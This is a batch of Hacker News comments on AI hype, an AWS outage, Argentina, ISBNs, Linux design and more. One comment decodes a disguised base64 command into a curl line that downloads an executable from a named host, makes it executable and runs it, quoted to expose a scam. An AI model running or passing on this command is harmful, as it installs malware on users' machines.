MurphyA/hacker-news huggingface dataset:
by jimbo808 | 2025-10-21 02:24:58+00:00
I get the vibe that they're all very aware of how deep into plateau territory they are, with no clear path toward the AGI they've been lying about for a few years, so now they're trying to come up with ways to keep the hype train going as long as possible before the inevitable implosion. Collapsible textareas would be sweet, but their valuations are based on this AGI carrot they've been dangling in front of investors (and terrorizing the working class with). I'd love to hear what kinds of conversations are going on behind the scenes.

Sora 2 seemed like a pure hype move. There's no way they're bringing in even a tiny fraction of the revenue needed to cover the cost of it, but the videos do get a lot of viral attention. Investors probably arent actually using Sora 2, but they do see the rare watchable video when it pops off on social media.

Gen AI seems like the perfect tech to dupe non-tech or low-tech investors into believing they're building something intelligent. I can't think of any technology I've ever used that leaves such a disproportionally good first impression, while dramatically overselling its capabilities. If you put it in the hands of a non-tech investor who sort of knows how to code, he's going to ask it to do some truly trivial shit. And he's going to be amazed when it regurgitates some absurdly common pattern he could have Googled and found in one click. The real trade secret is that people just don't understand that any time LLMs seem intelligent, it's because they're regurgitating the work of intelligent humans (who almost certainly were not compensated for, or even aware of, their work being used in the training set).

LLMs are pretty neat, I use them daily for work. But the whole AGI grift and AI doom scenario we keep getting threatened with is really overshadowing the novelty of what is an often (situationally) useful, neat tool that makes me a little more productive some of the time.
by afavour | 2025-10-21 02:25:03+00:00
I wouldn't be at all surprised if people pay for API access to the data. I've worked with live sports data before, it's a very profitable industry to be in when you're the one selling the data.

Of course in a sane world you'd have an internal fallback for when cloud connectivity fails but I'm sure someone looked at the cost and said "eh, what's the worst that could happen?"
by president_zippy | 2025-10-21 02:25:23+00:00
Because RDMA latency is still a lot lower than disk access latency, it depends more on whether or not the control logic can be generalized to distributed scale with some simple refactoring and a few calls to access remote shared memory, or whether a full-on rewrite is less time-consuming. I don't know, and I don't pretend to know.

All I know is that the semantics of RDMA (absent experience writing code that uses RDMA) deceive me into thinking there's some possibility I could try it and not end up regretting the time spent on a proof of concept.
by hattmall | 2025-10-21 02:25:56+00:00
No, no one that's super boosting the LLMs ever tells you what they are working on or give any reasonable specifics about how and why it's beneficial. When someone does, it's a fairly narrow scope and typically inline with my experience.

They can save you some time by doing some fairly complex basic tasks that you can write in plain language instead of coding. To get good results you really need a lot of underlying knowledge yourself and essentially, I think of it as a translator. I can write a program in very good detail using normal language and then the LLM can convert it to code with reasonable accuracy.

I haven't been able to depend on it to do anything remotely advanced. They all make up API endpoints or methods or fill in data with things that simply don't exist, but that's the nature of the model.
by Retric | 2025-10-21 02:26:13+00:00
In 2024 only 52% of US buyers put 20+% down on a house and which is up from 2022. Worse as a share of outstanding money new loans with low down payments obviously count for more. IE a 30 year loan on a house at year zero likely has 10+X as much outstanding vs a 25 year old loan due to principal payments and inflation on the average value of homes.

PMI is there to reduce risks, but PMI isn’t an infinite pool of money independent of the rest of the economy. It’s on someone’s balance sheet.
by labrador | 2025-10-21 02:26:26+00:00
I'm assuming you mean Daron Acemoglu, Simon Johnson, and James Robinson

"In 2024, the Nobel Prize in Economics was awarded to Daron Acemoglu, Simon Johnson, and James Robinson for their research on why nations succeed or fail. Their work underscores a truth Argentina has long resisted: prosperous countries are built on inclusive, enduring institutions — not on ideologies, strongmen, or short-term fixes. Institutions create stable frameworks that transcend election cycles, resist political opportunism, and enable a country to engage productively with the world."

https://buenosairesherald.com/op-ed/argentinas-dream-of-the-...
by lanyard-textile | 2025-10-21 02:26:30+00:00
In any given conversation, there is a specific floor level in which you would jump out the window to escape.

This is a 1.5 floor level conversation. It’s not even a conversation, really — you’ve assumed we’re all having a homogenous argument about the validity of the epipen and the brown paper bag, and you’re informing us of our wrongness about something we do not even assert.

But the worst part of it is, you’ve replaced the original poster with me, replying to my comment — which was merely intended to correct a harmless misunderstanding you’ve made — as though I posted the original thought.

What is it you expect me to reply with here? A defense thesis for the original poster? An acceptance that the original poster’s opinion is crushed because of the science you supposedly brought to the table?

I have no doubt that whatever response you have cooking up now will turn this into a 2nd floor one. I’ll be on my way while I can make a soft safe landing, but good luck with whatever it is you hoped to do here.
by dysoco | 2025-10-21 02:26:59+00:00
What follows is just my theory, but I think it's merely a matter of politics and culture.

Trump doesn't want Milei's government to fail, he needs successful examples of neoliberal, anti-woke, populist, anti-inmigration governments and Milei is probably his best bet. He's not helping Argentina, he's helping a political ally's party.

Betting on the Peso doesn't make sense. It's a lot of money but it's <1% USA's budget. Trump was probably thinking the American media would not pay too much attention to it but apparently it slightly backfired and they did.
by sdarji | 2025-10-21 02:27:39+00:00
The SBN, later ISBN, system was not created by 'Merica. The SBN system was created by a professor as a commissioned work for WH Smith, a UK-based bookseller. Later the ISO took over and standardized the ISBN.

ISBNs are not legally required by the government, any more than a book is required to have a title. They are a convenience for getting a book out there in retail channels and have it be identifiable, trackable, etc.

Any other person or group is free to invent a new system and get everyone in the book industry to adopt it alongside or as a replacement for ISBNs.

The U.S. government is not making you get an ISBN for your book. Many books are published without one. But neither did the U.S. government step up in 1970 and offer to be the issuer, unlike in many other countries like India and Canada. So the U.S. is in the minority of countries where a for-profit company ended up getting the right to be the issuer for that country. Considering that the vast majority of books in the U.S. are published by huge for-profit publishers, it doesn't seem that bad to have them pay the issuer $30 for a ISBN if they want the convenience. It's a free country, so they are free to eschew the ISBN as well.

I guess if you feel so strongly about it, you can lobby Congress to buy out R.R. Bowker, make the Librarian of Congress the registrar offering ISBNs for free, so they can add to the so-called Deep State!
by ronbenton | 2025-10-21 02:28:50+00:00
So far, I have found that good AI-generated code comes from good developers. The prompt flow that seems to work best is to be able to break down a problem in logical steps, articulating specific requirements along the way. Sometimes it makes sense, and you develop intuition for, when to ask the AI to just stub out service to come back to later. In other words, good prompting for software developer appears to require some of the core problem-solving skills needed to be a good developer in the first place.

As an aside, I also sometimes ask AI agents to help me rename variables!
by lmm | 2025-10-21 02:28:56+00:00
> How would that work? What is it about the wheel group that stops the sympathetic wheel from revealing his own login information to other people?

The wheel member probably doesn't want to reveal their own login information. They want to share the root password with other users; on systems without a wheel group that works, but on systems with a wheel group non-wheel users can't su.
NobelBiz – Erlang/OTP and Elassandra/Cassandra|Full-Time|Remote|80K-100K USD
by DarthAppleCider | 2025-10-21 02:29:50+00:00
NobelBiz is a company with 20 years in the telecom and contact center space. We are a telecom carrier in the US and have our own contact center solution software.

One of our platforms (SMRT) is in need experienced of engineers who can own critical infrastructure. Stack: Erlang/OTP, FreeSWITCH, OpenSIPS, Cassandra, C++

Roles: - Erlang/OTP Engineer - VoIP/FreeSWITCH Engineer - Infrastructure/DevOps

Reality: - Limited documentation, you'll need to reverse-engineer - Production system serving customers (can't break it) - On-call rotation - Rare stack (but if you know it, you know why that's interesting)

Good fit if: - You've shipped production Erlang/OTP systems - You've debugged SIP/RTP issues at scale - You can work independently with limited guidance - You're in Americas/Europe timezones

Email hn@nobelbiz.com with "HN: [Role]" and your gnarliest Erlang/Elessandra/VOIP story.
by bcrl | 2025-10-21 02:31:39+00:00
I remember having to figure out how port magazine and book BASIC code between the various dialects between the various spaces I spent time in. In the 1980s, my uncle first taught me BASIC on an IBM PC. At school we had an Apple ][+ while at home I had a Coco II and later an Amiga. Another friend had a Vic 20, while another had a Commodore 64. Then came QuickBASIC, QuickC, Microsoft C, C on the ICONs, Aztec C, gcc... 6502, m68k, 8086, i386... Learning about the quirks across systems so early on turned out to be an invaluable experience.
by treis | 2025-10-21 02:31:47+00:00
I don't think you're wrong but I don't think your logic holds up here. If you have a literal translation like:

I have a hot dog _____

The word in the blank is not necessarily determined when the sentenced is started. Several verbs fit at the end and the LLM doesn't need to know which it's going to pick when it starts. Each word narrows down the possibilities:

I - Trillions Have - Billions a - millions hot - thousands dog - dozens _____ - Could be eaten, cooked, thrown, whatever.

If it chooses cooked at this point that doesn't necessarily mean that the LLM was going to do that when it chose "I" or "have"
by d3Xt3r | 2025-10-21 02:31:50+00:00
I'd use:

- Nitro instead of systemd

- musl instead of glibc

- LLVM/clang instead of gcc

- uutils instead of GNU coreutils

- apk as a package manager

- r/o filesystem in a virtual A/B configuration for immutability and instant-reboots (no post-update reboot delays unlike rpm-ostree).

- A minimal Rust-based WM/DE similar to XFCE/LabWC but with user-friendly GUI config and sane defaults, with zero GTK and Qt components.

- Ideally all GUIs will be coded in something fast and minimal, like e-GUI. Ideally the entire system will be free of bloat like GTK/Qt/Electron/Javascript crap, and anything that uses it will be containerised.
by jmaestrooper | 2025-10-21 02:32:14+00:00
>Is 75 minutes really considered that long of a time?

From my experience in setting up and running support services, not really. It's actually pretty darn quick.

First, the issue is reported to level 1 support, which is bunch of juniors/drones on call, often offshore (depending on time of the day) who'll run through their scripts and having determined that it's not in there, escalate to level 2.

Level 2 would be more experienced developer/support tech, who's seen a thing or two and dealt with serious issues. It will take time to get them online as they're on call but not online at 3am EST, as they have to get their cup of joe, turn on the laptop etc. Would take them a bit to realize that the fecal matter made contact with the rotating blades and escalate to level 3.

Which involves setting up the bridge, waking up the decisions makers (in my case it was director and VP level), and finally waking up the guy who either a) wrote all this or b) is one of 5 or 6 people on the planet capable of understanding and troubleshooting the tangled mess.

I do realize that AWS support might be structured quite a bit differently, but still... 75 minutes is pretty good.

Edit: That is not to say that AWS doesn't have a problem with turnover. I'm well aware of their policies and tendency to get rid of people in 2/3 years, partially due to compensation structures where there's a significant bump in compensation - and vesting - once you reach that timeframe.

But in this particular case I don't think support should take much of a blame. The overall architecture on the other hand...
by tharkun__ | 2025-10-21 02:32:31+00:00
Agreed. I usually have to remind the salesperson to stop talking to me in monthly payment terms. I always tell them to talk to me about final price including all interest.

It's a bit of an uphill battle, where you have to tell them over and over. They're just so used to trying to sell the monthly payment. It's really no wonder that people that don't understand interest (many if not most) will fall for this. And if you actually can't really afford the car, it's also understandable why many if not most people will "gladly" fall for it. The alternative is not having the car of their dreams.

That said, financing in general isn't bad. I've financed most of my cars. I wouldn't have had the sort of "emergency fund" to just outright buy the car and financing allowed me to get the car when I needed it instead of buying some "temp beater" and taking even longer to buy the car I really wanted when I needed it and I paid it back with priority (i.e. faster than the financing terms required it).
by thaumasiotes | 2025-10-21 02:33:40+00:00
In this case the old-fashioned way is to decode it yourself. It's a very short blob of base64, and if you don't recognize it, that doesn't matter, because the command explicitly passes it to `base64 -d`.

Decoded:

curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR

This isn't exactly obfuscated. Download an executable file, make it executable, and then execute it.
by irjustin | 2025-10-21 02:34:18+00:00
I'll go out on a limb and say we _need_ Wikipedia and it's okay that traffic falls.

Physical print encyclopedias got replaced by Wikipedia, but AI isn't a replacement (can't ever see how either). While AI is a method of easier access for the end user, the purpose of Wikipedia stands on its own.

I've always scoffed at the Wikimedia Foundation's warchest and continuously increasing annual spending. I say now is the time to save money. Become self sustaining through investments so it can live for 1000 years.

To me, it is an existence for the common good and should be governed as such.
by JumpCrisscross | 2025-10-21 02:34:28+00:00
> no universe in which foreign intel trying to blackmail you over some bit of info is worse than the local agencies doing the same

You're comparing conditional probabilities without considering the priors. Given you're being coerced, it's worse to have that done by power close than power afar.

The downside for the FBI blackmailing an American is significant. Of course it happens and has happened. But it's weighed. The downside for the CIA doing pretty much fuckall is highly limited. This results in the common asymmetry in non-autocratic countries between domestic and foreign surveillance budgets and, subsequently, targets. (If it came out that the CIA had been leveraging the porn habits of Chinese citizens to coerce them into spying for it, I'm not sure there would be any backlash in Washington. That's literally their job.)

That example, by the way, hints at the lack of mutual exclusivity in your example. Every one of those disposable agents would subsequently be punished by Beijing. Same as if you got played by Russia or China (or Pyongyang or a non-state criminal outfit). The blackmail only works because you're rationally afraid of your local agencies--the CIA has limited means by which to directly coerce Chinese citizens in China.
by Loocid | 2025-10-21 02:36:05+00:00
Except its not 6 years for the vast majority of people?

https://www.england.nhs.uk/statistics/statistical-work-areas...

~75% of people get diagnosed in <1 month of urgent referral and 90% of people that want treatment get started in <1 month.

>and the poorest in the US are among the most plentiful medical tourists to Malaysia and Thailand.

This is such an absurd statement. The poorest Americans can absolutely not afford travel to the other side of the world for treatment.
by PaulHoule | 2025-10-21 02:36:22+00:00
Not sure if I really believe that.

The politics have been smouldering on forever. That governance event w/ Rubygems seems like a once in every twenty years kind of event. Unfortunately racist blog posts are like one every five seconds, you're kinda platforming somebody by trying to deplatform them for that. Like it or not 34% of people in the UK said they would vote for Reform

https://www.ipsos.com/en-uk/reform-uk-leads-12-pts-over-labo...

and you can't change that by finger wagging at those people, drop what you are doing and watch this

https://www.youtube.com/watch?v=b46LtbbZ5JE

... but it's too hard to have a war with the UK so you gotta fight some washed up rando.
by at-fates-hands | 2025-10-21 02:37:01+00:00
This was also back when you could walk into the library and get the email credentials of a random professor and then use it to hide behind when you took down a network of another in state university because an engineering professor didn't think computer science majors were as smart as he was.

Yeah, man, good times.

My buddy got a visit from the feds and lost his computer lab access for a semester.

I still giggle when I tell that story.
by MadVikingGod | 2025-10-21 02:37:04+00:00
The AI songs do suck, but what's even worse is that I can't block artists on Spotify or YouTube. My only recourse was to down vote each song individually, which didn't prevent the songs from showing up, just "Showed my preference".

I don't know what service is safe, but it seems like the incentives for the companies is not to direct me to what I want, real people performing music.
by etc-hosts | 2025-10-21 02:37:30+00:00
It's not a direct dependency. Route 53 is humming along... DynamoDB decided to edit its DNS records that are propagated by Route 53... they were bogus, but Route 53 happily propagated the toxic change to the rest of the universe.

DynamoDB is not going to set up its own DNS service or its own Route 53.

Maybe DynamoDB should have had tooling that tested DNS edits before sending it to Route 53, or Route53 should have tooling to validate changes before accepting them. I'm sure smart people at AWS are yelling at each other about it right now.
by kbolino | 2025-10-21 02:37:50+00:00
Lots of distributed, NoSQL databases work (or partially work) this way too (e.g., HBase rowkey, Accumulo row ID, Cassandra clustering key, DynamoDB sort key). They partition the data into shards based upon key ranges and then spread those shards across as many servers as possible. UUIDv7 is (by design) temporally clustered. Since many workloads place far more value on recent data, and all recent data is likely to end up in the same shard, you bottleneck on the throughput of a single server or, even with replication, a small number of servers.
by Forgeties79 | 2025-10-21 02:38:28+00:00
spidermanspointing.jpg

Jokes aside this is super cool. I always find LED panels really interesting to look at under the hood. I’m so picky about the ones I like to use almost purely based on vibes when filming. They’re just one of those things that you immediately know you’re going to love or hate in post the moment they hit your subject
by fragmede | 2025-10-21 02:38:56+00:00
You misread me. I'm one of the people you're complaining about. Claude code has been great in my experience and no I don't have a GitHub repo of code that's been generated for you to tell me that's trivial and unadvanced and that a child could do it.

What I'm saying was to compare my experience with Claude code vs Codex with GPT-5. CC's better than codex in my experience, contrary to GP's comment.
by colechristensen | 2025-10-21 02:40:22+00:00
>What is it about the wheel group that stops the sympathetic wheel from revealing his own login information to other people?

Then there's a paper trail, bob logs in 10 times as much as anyone else and from all over the place.

Anyway this is all silly ancient politics and shared admin passwords as a method of freeing the people is long past relevant.
by gpm | 2025-10-21 02:40:59+00:00
"Needs" is a strong word, would benefit from a bit, but in practice I think the number of vulnerabilities rust code typically has is not large enough to justify the expense of compromising the performance of every CPU ever sold (thus requiring more, consuming more energy, etc).

There's also been steady progress towards creating systems to prove unsafe rust correct - at which point it wouldn't even benefit from this. For example see the work amazon has been sponsoring to prove the standard library correct: https://github.com/model-checking/verify-rust-std/
by donavanm | 2025-10-21 02:42:16+00:00
I personally think milei the politician is a clown. And many of his statements are just offensive to anyone who can spark two braincells together. I also thought he was going to burn it all down in a blaze of hubris after his election.

But its hard to argue with arresting the inflation, gdp, and budget surplus numbers. Im not sure how the economy is “going south.” Generously the policies have arrested the slide?

I dont imagine the typical argentine is better off with 200% inflation, 50% unemployment, and a 57% poverty rate. Avoiding that return seems to be quite a benefit for just about everyone?
Show HN: WatchDoggo – simple open-source service status monitor
by mcloide1942 | 2025-10-21 02:42:59+00:00
I just open-sourced WatchDoggo, a lightweight service monitor built with Flask. It checks multiple services (APIs, CRMs, etc.) from a single JSON config and shows uptime in a simple dashboard.

GitHub: https://github.com/zyra-engineering-ltda/watch-doggo

Built with by Zyra Engineering. Feedback welcome!
by scottbez1 | 2025-10-21 02:43:44+00:00
On the topic of small LED panels, Jason of Evil Genius Labs has been making some really small LED panels [0] with addressable 1mm x 1mm LEDs (yes, individually addressable AND only 1mm on each side!). Fitting 128 onto a 1" circle is pretty sweet.

I keep meaning to design some PCBs with them [1] but it's too far down my ever-growing list of projects to see the light of day...

[0] https://www.evilgeniuslabs.org/one-inch-fibonacci128

[1] https://www.lcsc.com/product-detail/C5349953.html
by nradov | 2025-10-21 02:44:32+00:00
I'm not convinced this bailout is good policy but you could maybe make a case that it's the least bad option. If the USA doesn't help Argentina then the lender of last resort becomes China. Do we want China to gain more control and influence in the Americas?

https://sccei.fsi.stanford.edu/china-briefs/chinas-overseas-...